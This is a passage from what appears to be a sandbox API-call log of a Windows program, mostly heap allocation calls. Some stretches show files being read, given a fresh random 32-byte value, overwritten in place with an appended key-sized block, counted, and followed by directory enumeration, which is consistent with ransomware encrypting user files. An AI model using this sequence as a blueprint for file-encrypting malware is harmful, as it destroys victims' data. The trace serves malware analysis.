hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.137] GetProcessHeap () returned 0x540000 [0086.137] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.138] GetProcessHeap () returned 0x540000 [0086.138] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.139] GetProcessHeap () returned 0x540000 [0086.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.139] GetProcessHeap () returned 0x540000 [0086.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.139] GetProcessHeap () returned 0x540000 [0086.139] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.152] GetProcessHeap () returned 0x540000 [0086.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.152] GetProcessHeap () returned 0x540000 [0086.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.152] GetProcessHeap () returned 0x540000 [0086.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.152] GetProcessHeap () returned 0x540000 [0086.152] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.152] GetProcessHeap () returned 0x540000 [0086.152] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.152] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.153] SetFilePointerEx (in: hFile=0x908, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.153] WriteFile (in: hFile=0x908, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.153] WriteFile (in: hFile=0x908, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.153] GetProcessHeap () returned 0x540000 [0086.153] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.153] CloseHandle (hObject=0x908) returned 1 [0086.154] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 99 [0086.154] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.154] ReadFile (in: hFile=0x90c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.154] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.154] GetProcessHeap () returned 0x540000 [0086.154] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.154] GetProcessHeap () returned 0x540000 [0086.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.155] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.155] GetProcessHeap () returned 0x540000 [0086.155] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.155] ReadFile (in: hFile=0x90c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0xe2, lpOverlapped=0x0) returned 1 [0086.158] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.158] WriteFile (in: hFile=0x90c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0xe2, lpOverlapped=0x0) returned 1 [0086.158] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.159] GetProcessHeap () returned 0x540000 [0086.159] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.159] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.160] GetProcessHeap () returned 0x540000 [0086.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.161] GetProcessHeap () returned 0x540000 [0086.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.162] GetProcessHeap () returned 0x540000 [0086.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.162] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.163] SetFilePointerEx (in: hFile=0x90c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.163] WriteFile (in: hFile=0x90c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.163] WriteFile (in: hFile=0x90c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.163] GetProcessHeap () returned 0x540000 [0086.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.163] CloseHandle (hObject=0x90c) returned 1 [0086.164] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 100 [0086.164] GetProcessHeap () returned 0x540000 [0086.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0086.164] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games\\*") returned 34 [0086.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b0cdbd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0cdbd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 